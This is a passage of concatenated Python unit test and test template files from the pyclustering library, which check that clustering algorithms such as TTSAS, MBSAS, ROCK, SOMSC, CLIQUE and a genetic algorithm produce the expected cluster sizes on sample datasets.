ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 10.0, 20.0, [10], True, metric=distance_metric(type_metric.MANHATTAN)); def testClusteringSampleSimple1Chebyshev(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1.0, 2.0, [5, 5], True, metric=distance_metric(type_metric.CHEBYSHEV)); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 10.0, 20.0, [10], True, metric=distance_metric(type_metric.CHEBYSHEV)); def testClusteringSampleSimple2(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 1.0, 2.0, [5, 8, 10], True); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 10.0, 20.0, [23], True); def testClusteringSampleSimple3(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 1.0, 2.0, [10, 10, 10, 30], True); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 10.0, 20.0, [60], True); def testOneDimentionalPoints1(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 1.0, 2.0, [10, 10], True); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 10.0, 20.0, [20], True); def testOneDimentionalPoints2(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 1.0, 2.0, [10, 20], True); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 10.0, 20.0, [30], True); def testThreeDimentionalPoints(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 1.0, 2.0, [10, 10], True); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 10.0, 20.0, [20], True); def testTheSamePoints1(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 1.0, 1.5, [5, 5, 5], True); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 0.001, 0.002, [5, 5, 5], True); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 1000, 2000, [15], True); def testTheSamePoints2(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 1.0, 2.0, [10, 20], True); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 10.0, 20.0, [30], True); def testProcessingWhenLibraryCoreRemoved(self): self.runRemovedLibraryCoreTest() @remove_library def runRemovedLibraryCoreTest(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1.0, 2.0, [5, 5], True) ``` #### File: cluster/tests/mbsas_templates.py ```python import matplotlib; matplotlib.use('Agg'); from pyclustering.tests.assertion import assertion; from pyclustering.cluster.mbsas import mbsas; from pyclustering.utils import read_sample; from pyclustering.utils.metric import type_metric, distance_metric; class mbsas_test_template: @staticmethod def clustering(path, amount, threshold, expected, ccore, **kwargs): metric = kwargs.get('metric', distance_metric(type_metric.EUCLIDEAN)); sample = read_sample(path); mbsas_instance = mbsas(sample, amount, threshold, ccore=ccore, metric=metric); mbsas_instance.process(); clusters = mbsas_instance.get_clusters(); representatives = mbsas_instance.get_representatives(); obtained_length = 0; obtained_cluster_length = []; for cluster in clusters: obtained_length += len(cluster); obtained_cluster_length.append(len(cluster)); assertion.eq(len(sample), obtained_length); assertion.eq(len(expected), len(clusters)); assertion.eq(len(expected), len(representatives)); assertion.ge(amount, len(clusters)); dimension = len(sample[0]); for rep in representatives: assertion.eq(dimension, len(rep)); expected.sort(); obtained_cluster_length.sort(); assertion.eq(expected, obtained_cluster_length); ``` #### File: cluster/tests/rock_templates.py ```python from pyclustering.cluster.rock import rock; from pyclustering.utils import read_sample; from random import random; class RockTestTemplates: @staticmethod def templateLengthProcessData(path_to_file, radius, cluster_numbers, threshold, expected_cluster_length, ccore): sample = read_sample(path_to_file); rock_instance = rock(sample, radius, cluster_numbers, threshold, ccore); rock_instance.process(); clusters = rock_instance.get_clusters(); length = sum([len(cluster) for cluster in clusters]); assert len(sample) == length; obtained_cluster_sizes = [len(cluster) for cluster in clusters]; obtained_cluster_sizes.sort(); expected_cluster_length.sort(); assert obtained_cluster_sizes == expected_cluster_length; @staticmethod def templateClusterAllocationOneDimensionData(ccore_flag): input_data = [ [random()] for i in range(10) ] + [ [random() + 3] for i in range(10) ] + [ [random() + 5] for i in range(10) ] + [ [random() + 8] for i in range(10) ]; rock_instance = rock(input_data, 1, 4, 0.5, ccore_flag); rock_instance.process(); clusters = rock_instance.get_clusters(); assert len(clusters) == 4; for cluster in clusters: assert len(cluster) == 10; ``` #### File: cluster/tests/somsc_templates.py ```python import numpy import unittest from pyclustering.cluster.somsc import somsc from pyclustering.utils import read_sample from random import random class SyncnetTestTemplates(unittest.TestCase): def templateLengthProcessData(self, path_to_file, amount_clusters, expected_cluster_length, ccore): sample = read_sample(path_to_file) somsc_instance = somsc(sample, amount_clusters, 100, ccore) somsc_instance.process() clusters = somsc_instance.get_clusters() obtained_cluster_sizes = [len(cluster) for cluster in clusters] self.assertEqual(len(sample), sum(obtained_cluster_sizes)) if expected_cluster_length is not None: obtained_cluster_sizes.sort() expected_cluster_length.sort() self.assertEqual(obtained_cluster_sizes,expected_cluster_length) def templateClusterAllocationOneDimensionData(self, ccore_flag): input_data = [[random()] for i in range(10)] + [[random() + 3] for i in range(10)] + \ [[random() + 5] for i in range(10)] + [[random() + 8] for i in range(10)] somsc_instance = somsc(input_data, 4, 100, ccore_flag) somsc_instance.process() clusters = somsc_instance.get_clusters() self.assertEqual(len(clusters), 4) for cluster in clusters: self.assertEqual(len(cluster), 10) def predict(self, path_to_file, amount_clusters, points, expected_closest_clusters, ccore): sample = read_sample(path_to_file) somsc_instance = somsc(sample, amount_clusters, 100, ccore) somsc_instance.process() closest_clusters = somsc_instance.predict(points) self.assertEqual(len(expected_closest_clusters), len(closest_clusters)) self.assertTrue(numpy.array_equal(numpy.array(expected_closest_clusters), closest_clusters)) ``` #### File: tests/unit/__init__.py ```python import unittest from pyclustering.tests.suite_holder import suite_holder # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.tests.unit import ut_agglomerative as cluster_agglomerative_unit_tests from pyclustering.cluster.tests.unit import ut_bang as cluster_bang_unit_tests from pyclustering.cluster.tests.unit import ut_birch as cluster_birch_unit_tests from pyclustering.cluster.tests.unit import ut_bsas as cluster_bsas_unit_tests from pyclustering.cluster.tests.unit import ut_center_initializer as cluster_center_initializer_unit_tests from pyclustering.cluster.tests.unit import ut_clarans as cluster_clarans_unit_tests from pyclustering.cluster.tests.unit import ut_clique as cluster_clique_unit_tests from pyclustering.cluster.tests.unit import ut_cure as cluster_cure_unit_tests from pyclustering.cluster.tests.unit import ut_dbscan as cluster_dbscan_unit_tests from pyclustering.cluster.tests.unit import ut_elbow as cluster_elbow_unit_tests from pyclustering.cluster.tests.unit import ut_ema as cluster_ema_unit_tests from pyclustering.cluster.tests.unit import ut_encoder as cluster_encoder_unit_tests from pyclustering.cluster.tests.unit import ut_fcm as cluster_fcm_unit_tests from pyclustering.cluster.tests.unit import ut_ga as cluster_ga_unit_tests from pyclustering.cluster.tests.unit import ut_general as cluster_general_unit_tests from pyclustering.cluster.tests.unit import ut_generator as cluster_generator_unit_tests from pyclustering.cluster.tests.unit import ut_gmeans as cluster_gmeans_unit_tests from pyclustering.cluster.tests.unit import ut_hsyncnet as cluster_hsyncnet_unit_tests from pyclustering.cluster.tests.unit import ut_kmeans as cluster_kmeans_unit_tests from pyclustering.cluster.tests.unit import ut_kmedians as cluster_kmedians_unit_tests from pyclustering.cluster.tests.unit import ut_kmedoids as cluster_kmedoids_unit_tests from pyclustering.cluster.tests.unit import ut_mbsas as cluster_mbsas_unit_tests from pyclustering.cluster.tests.unit import ut_optics as cluster_optics_unit_tests from pyclustering.cluster.tests.unit import ut_rock as cluster_rock_unit_tests from pyclustering.cluster.tests.unit import ut_silhouette as cluster_silhouette_unit_tests from pyclustering.cluster.tests.unit import ut_somsc as cluster_somsc_unit_tests from pyclustering.cluster.tests.unit import ut_syncnet as cluster_syncnet_unit_tests from pyclustering.cluster.tests.unit import ut_syncsom as cluster_syncsom_unit_tests from pyclustering.cluster.tests.unit import ut_ttsas as cluster_ttsas_unit_tests from pyclustering.cluster.tests.unit import ut_visualizer as cluster_visualizer_unit_tests from pyclustering.cluster.tests.unit import ut_xmeans as cluster_xmeans_unit_tests class clustering_unit_tests(suite_holder): def __init__(self): super().__init__() self.fill_suite(self.get_suite()) @staticmethod def fill_suite(unit_cluster_suite): unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_agglomerative_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_bang_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_birch_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_bsas_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_center_initializer_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_clarans_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_clique_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_cure_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_dbscan_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_elbow_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_ema_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_encoder_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_fcm_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_ga_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_general_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_generator_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_gmeans_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_hsyncnet_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_kmeans_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_kmedians_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_kmedoids_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_mbsas_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_optics_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_rock_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_silhouette_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_somsc_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_syncnet_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_syncsom_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_ttsas_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_visualizer_unit_tests)) unit_cluster_suite.addTests(unittest.TestLoader().loadTestsFromModule(cluster_xmeans_unit_tests)) ``` #### File: tests/unit/ut_clique.py ```python import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.clique import clique_block from pyclustering.cluster.tests.clique_templates import clique_test_template from pyclustering.tests.assertion import assertion from pyclustering.samples.definitions import SIMPLE_SAMPLES, FCPS_SAMPLES class clique_unit_test(unittest.TestCase): def test_clustering_sample_simple_1(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 8, 0, [5, 5], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 7, 0, [5, 5], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 6, 0, [5, 5], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 5, 0, [5, 5], 0, False) def test_clustering_sample_simple_1_one_cluster(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 0, [10], 0, False) def test_clustering_diagonal_blocks_arent_neoghbors(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 0, [5, 5], 0, False) def test_clustering_sample_simple_1_noise_only(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 6, 1000, [], 10, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 6, 10, [], 10, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 5, [], 10, False) def test_clustering_sample_simple_2(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 7, 0, [5, 8, 10], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 6, 0, [5, 8, 10], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 1, 0, [23], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 6, 500, [], 23, False) def test_clustering_sample_simple_3(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 9, 0, [10, 10, 10, 30], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 8, 0, [10, 10, 10, 30], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 1, 0, [60], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 6, 500, [], 60, False) def test_clustering_sample_simple_3_one_point_noise(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 2, 9, [59], 1, False) def test_clustering_sample_simple_4_one_cluster(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, 1, 0, [75], 0, False) def test_clustering_sample_simple_5(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 8, 0, [15, 15, 15, 15], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 7, 0, [15, 15, 15, 15], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 6, 0, [15, 15, 15, 15], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 5, 0, [15, 15, 15, 15], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 1, 0, [60], 0, False) def test_clustering_one_dimensional_data1(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 4, 0, [10, 10], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 2, 0, [20], 0, False) def test_clustering_one_dimensional_data2(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, 15, 0, [15, 20, 30, 80], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, 2, 0, [145], 0, False) def test_clustering_one_dimensional_data_3_similar(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 7, 0, [10, 20], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 2, 0, [30], 0, False) def test_clustering_sample_simple_10(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 8, 0, [11, 11, 11], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 7, 0, [11, 11, 11], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 2, 0, [33], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 1, 0, [33], 0, False) def test_clustering_three_dimensional_data1(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 6, 0, [10, 10], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 5, 0, [10, 10], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 1, 0, [20], 0, False) def test_clustering_similar_points(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 8, 0, [5, 5, 5], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 7, 0, [5, 5, 5], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 5, 0, [5, 5, 5], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 2, 0, [15], 0, False) def test_clustering_zero_column(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, 3, 0, [5, 5], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, 2, 0, [5, 5], 0, False) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, 1, 0, [10], 0, False) def test_clustering_fcps_lsun(self): clique_test_template.clustering(FCPS_SAMPLES.SAMPLE_LSUN, 15, 0, [100, 101, 202], 0, False) def test_clustering_fcps_hepta(self): clique_test_template.clustering(FCPS_SAMPLES.SAMPLE_HEPTA, 9, 0, [30, 30, 30, 30, 30, 30, 32], 0, False) def test_visualize_no_failure_one_dimensional(self): clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 4, 0, False) clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, 7, 0, False) def test_visualize_no_failure_two_dimensional(self): clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 8, 0, False) clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 0, False) def test_visualize_no_failure_three_dimensional(self): clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 3, 0, False) def test_argument_invalid_levels(self): clique_test_template.exception(ValueError, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 0, 0.0, False) clique_test_template.exception(ValueError, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, -1, 0.0, False) clique_test_template.exception(ValueError, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, -10, 0.0, False) def test_argument_invalid_density(self): clique_test_template.exception(ValueError, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, -1.0, False) clique_test_template.exception(ValueError, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, -2.0, False) def test_argument_empty_data(self): clique_test_template.exception(ValueError, [], 1, 0.0, False) def test_logical_block_neighbors(self): block = clique_block() block.logical_location = [1, 1] neighbors = block.get_location_neighbors(3) assertion.eq(4, len(neighbors)) assertion.true([0, 1] in neighbors) assertion.true([2, 1] in neighbors) assertion.true([1, 0] in neighbors) assertion.true([1, 2] in neighbors) def test_logical_block_neighbors_on_edge(self): block = clique_block() block.logical_location = [1, 1] neighbors = block.get_location_neighbors(2) assertion.eq(2, len(neighbors)) assertion.true([0, 1] in neighbors) assertion.true([1, 0] in neighbors) block.logical_location = [0, 0] neighbors = block.get_location_neighbors(2) assertion.eq(2, len(neighbors)) assertion.true([0, 1] in neighbors) assertion.true([1, 0] in neighbors) ``` #### File: tests/unit/ut_ga.py ```python import unittest import inspect import numpy # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.samples.definitions import SIMPLE_SAMPLES from pyclustering.cluster.ga import genetic_algorithm, ga_observer, ga_visualizer from pyclustering.cluster.ga_maths import ga_math from pyclustering.utils import read_sample class GeneticAlgorithmClusteringUnitTest(unittest.TestCase): def runGeneticAlgorithm(self, test_case_name, data, count_chromosomes, count_clusters, count_populations, count_mutations_gen, result_should_be): _, best_ff, = genetic_algorithm(data=data, count_clusters=count_clusters, chromosome_count=count_chromosomes, population_count=count_populations, count_mutation_gens=count_mutations_gen, random_state=1000).process() # Check result self.assertEqual(best_ff, result_should_be) def test1CenterClustering(self): data = [[0, 0], [0, 2]] self.runGeneticAlgorithm(test_case_name=inspect.stack()[0][3], data=data, count_chromosomes=10, count_clusters=1, count_populations=10, count_mutations_gen=1, result_should_be=2.0) def test1Center4DataClustering(self): data = [[0, 0], [0, 2], [2, 0], [2, 2]] self.runGeneticAlgorithm(test_case_name=inspect.stack()[0][3], data=data, count_chromosomes=10, count_clusters=1, count_populations=10, count_mutations_gen=1, result_should_be=8.0) def test2Center8DataClustering(self): data = [[0, 0], [0, 2], [2, 0], [2, 2]] data.extend([[6, 0], [6, 2], [8, 0], [8, 2]]) self.runGeneticAlgorithm(test_case_name=inspect.stack()[0][3], data=data, count_chromosomes=50, count_clusters=2, count_populations=50, count_mutations_gen=1, result_should_be=16.0) def test4Center16DataClustering(self): data = [] data.extend([[0, 0], [1, 0], [0, 1], [1, 1]]) data.extend([[5, 0], [6, 0], [5, 1], [6, 1]]) data.extend([[0, 5], [1, 5], [0, 6], [1, 6]]) data.extend([[4, 4], [7, 4], [4, 7], [7, 7]]) self.runGeneticAlgorithm(test_case_name=inspect.stack()[0][3], data=data, count_chromosomes=20, count_clusters=4, count_populations=100, count_mutations_gen=1, result_should_be=24.0) def templateDataClustering(self, sample_path, amount_clusters, chromosome_count, population_count, count_mutation_gens, coeff_mutation_count, expected_clusters_sizes, **kwargs): scale_points = kwargs.get('scale_points', None) sample = numpy.array(read_sample(sample_path)) if scale_points is not None: sample = sample * scale_points ga_instance = genetic_algorithm(sample, amount_clusters, chromosome_count, population_count, count_mutations_gen=count_mutation_gens, coeff_mutation_count=coeff_mutation_count, **kwargs) ga_instance.process() clusters = ga_instance.get_clusters() obtained_cluster_sizes = [len(cluster) for cluster in clusters] self.assertEqual(len(sample), sum(obtained_cluster_sizes)) if expected_clusters_sizes is not None: obtained_cluster_sizes.sort() expected_clusters_sizes.sort() self.assertEqual(obtained_cluster_sizes, expected_clusters_sizes) def testClusteringTwoDimensionalData(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 20, 20, 2, 0.25, [5, 5], random_state=1000) def testClusteringTwoDimensionalDataWrongAllocation(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 20, 20, 2, 0.25, [10], random_state=1000) def testClusteringNonNormalizedValues(self): self.assertRaises(ValueError, self.templateDataClustering, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 20, 20, 2, 0.25, [5, 5], random_state=1000, scale_points=1000) def testClusteringSimple02(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 3, 20, 40, 2, 0.25, [5, 8, 10], random_state=1000) def testClusteringSimple09(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 2, 20, 20, 2, 0.25, [10, 20], random_state=1000) def testClusteringOneDimensionalData(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 2, 20, 20, 2, 0.25, [10, 10], random_state=1000) def testClusteringOneDimensionalDataWrongAllocation(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 1, 20, 20, 2, 0.25, [20], random_state=1000) def testClusteringThreeDimensionalData(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 2, 20, 20, 2, 0.25, [10, 10], random_state=1000) def testClusteringThreeDimensionalDataWrongAllocation(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 1, 20, 20, 2, 0.25, [20], random_state=1000) def testTwoClustersTotallySimilarObjects(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 2, 20, 20, 2, 0.25, None, random_state=1000) def testFiveClustersTotallySimilarObjects(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 5, 20, 20, 2, 0.25, None, random_state=1000) def testTenClustersTotallySimilarObjects(self): self.templateDataClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 10, 20, 20, 2, 0.25, None, random_state=1000) def templateTestObserverCollecting(self, amount_clusters, iterations, global_optimum, local_optimum, average, **kwargs): observer_instance = ga_observer(global_optimum, local_optimum, average) self.assertEqual(0, len(observer_instance)) sample = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1) ga_instance = genetic_algorithm(sample, amount_clusters, 20, iterations, count_mutation_gens=2, coeff_mutation_count=0.25, observer=observer_instance, **kwargs) ga_instance.process() self.assertEqual(observer_instance, ga_instance.get_observer()) expected_length = 0 if global_optimum is True: expected_length = iterations + 1 self.assertEqual(expected_length, len(observer_instance)) self.assertEqual(expected_length, len(observer_instance.get_global_best()['chromosome'])) self.assertEqual(expected_length, len(observer_instance.get_global_best()['fitness_function'])) expected_length = 0 if local_optimum is True: expected_length = iterations + 1 self.assertEqual(expected_length, len(observer_instance)) self.assertEqual(expected_length, len(observer_instance.get_population_best()['chromosome'])) self.assertEqual(expected_length, len(observer_instance.get_population_best()['fitness_function'])) expected_length = 0 if average is True: expected_length = iterations + 1 self.assertEqual(expected_length, len(observer_instance)) self.assertEqual(expected_length, len(observer_instance.get_mean_fitness_function())) if global_optimum is True: clusters = ga_math.get_clusters_representation(observer_instance.get_global_best()['chromosome'][-1]) self.assertEqual(amount_clusters, len(clusters)) return sample, observer_instance def testObserveGlobalOptimum(self): self.templateTestObserverCollecting(2, 10, True, False, False, random_state=1000) def testObserveLocalOptimum(self): self.templateTestObserverCollecting(2, 11, False, True, False, random_state=1000) def testObserveAverage(self): self.templateTestObserverCollecting(2, 12, False, False, True, random_state=1000) def testObserveAllParameters(self): self.templateTestObserverCollecting(2, 9, True, True, True, random_state=1000) def testObserveNoCollecting(self): self.templateTestObserverCollecting(2, 9, False, False, False, random_state=1000) def testObserveParameterCombinations(self): self.templateTestObserverCollecting(3, 10, True, True, False, random_state=1000) self.templateTestObserverCollecting(4, 10, True, False, True, random_state=1000) self.templateTestObserverCollecting(1, 10, False, True, True, random_state=1000) def testNoFailureVisualizationApi(self): sample, observer = self.templateTestObserverCollecting(2, 10, True, True, True, random_state=1000) figure, _ = ga_visualizer.show_evolution(observer) ga_visualizer.close(figure) ga_visualizer.show_clusters(sample, observer) ga_visualizer.animate_cluster_allocation(sample, observer) def testNoFailureShowEvolution(self): _, observer = self.templateTestObserverCollecting(2, 10, True, True, True, random_state=1000) figure, _ = ga_visualizer.show_evolution(observer, 2, 5) ga_visualizer.close(figure) figure, _ = ga_visualizer.show_evolution(observer, 2, len(observer)) ga_visualizer.close(figure) figure, _ = ga_visualizer.show_evolution(observer, 2, len(observer), display=False) ga_visualizer.close(figure) def testNoneObserver(self): sample = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1) ga_instance = genetic_algorithm(sample, 2, 20, 20, count_mutation_gens=2, coeff_mutation_count=0.25, observer=None) ga_instance.process() self.assertIsNone(ga_instance.get_observer()) def test_incorrect_data(self): self.assertRaises(ValueError, genetic_algorithm, [], 1, 2, 2) def test_incorrect_amount_clusters(self): self.assertRaises(ValueError, genetic_algorithm, [[0], [1], [2]], 0, 2, 2) ``` #### File: tests/unit/ut_generator.py ```python import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.generator import data_generator from pyclustering.tests.assertion import assertion class generator_unit_tests(unittest.TestCase): def assert_dimension(self, data, expected_dimension): for point in data: assertion.eq(expected_dimension, len(point)) def assert_distribution(self, data, sizes, centers, widths): index_cluster = 0 index_cluster_point = 0 actual_means = [[0.0 for _ in range(len(data[0])) ] for _ in range(len(sizes))] for index_point in range(len(data)): for index_dimension in range(len(data[0])): actual_means[index_cluster][index_dimension] += data[index_point][index_dimension] index_cluster_point += 1 if index_cluster_point == sizes[index_cluster]: index_cluster_point = 0 index_cluster += 1 for index_cluster in range(len(actual_means)): for index_dimension in range(len(data[0])): actual_means[index_cluster][index_dimension] /= sizes[index_cluster] assertion.ge(centers[index_cluster][index_dimension], actual_means[index_cluster][index_dimension] - widths[index_cluster]) assertion.le(centers[index_cluster][index_dimension], actual_means[index_cluster][index_dimension] + widths[index_cluster]) def test_generate_one_dimension(self): data = data_generator(2, 1, [10, 10]).generate() assertion.eq(20, len(data)) self.assert_dimension(data, 1) def test_generate_two_dimension(self): data = data_generator(2, 2, [10, 15]).generate() assertion.eq(25, len(data)) self.assert_dimension(data, 2) def test_generate_one_cluster(self): data = data_generator(1, 10, 20).generate() assertion.eq(20, len(data)) self.assert_dimension(data, 10) def test_generate_similar_clusters(self): data = data_generator(10, 2, 10).generate() assertion.eq(100, len(data)) self.assert_dimension(data, 2) def test_generate_with_centers(self): data = data_generator(3, 1, [5, 10, 15], [[0.0], [-5.0], [5.0]]).generate() assertion.eq(30, len(data)) self.assert_distribution(data, [5, 10, 15], [[0.0], [-5.0], [5.0]], [1.0, 1.0, 1.0]) ``` #### File: tests/unit/ut_hsyncnet.py ```python import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.tests.hsyncnet_templates import HsyncnetTestTemplates from pyclustering.nnet import solve_type from pyclustering.samples.definitions import SIMPLE_SAMPLES class 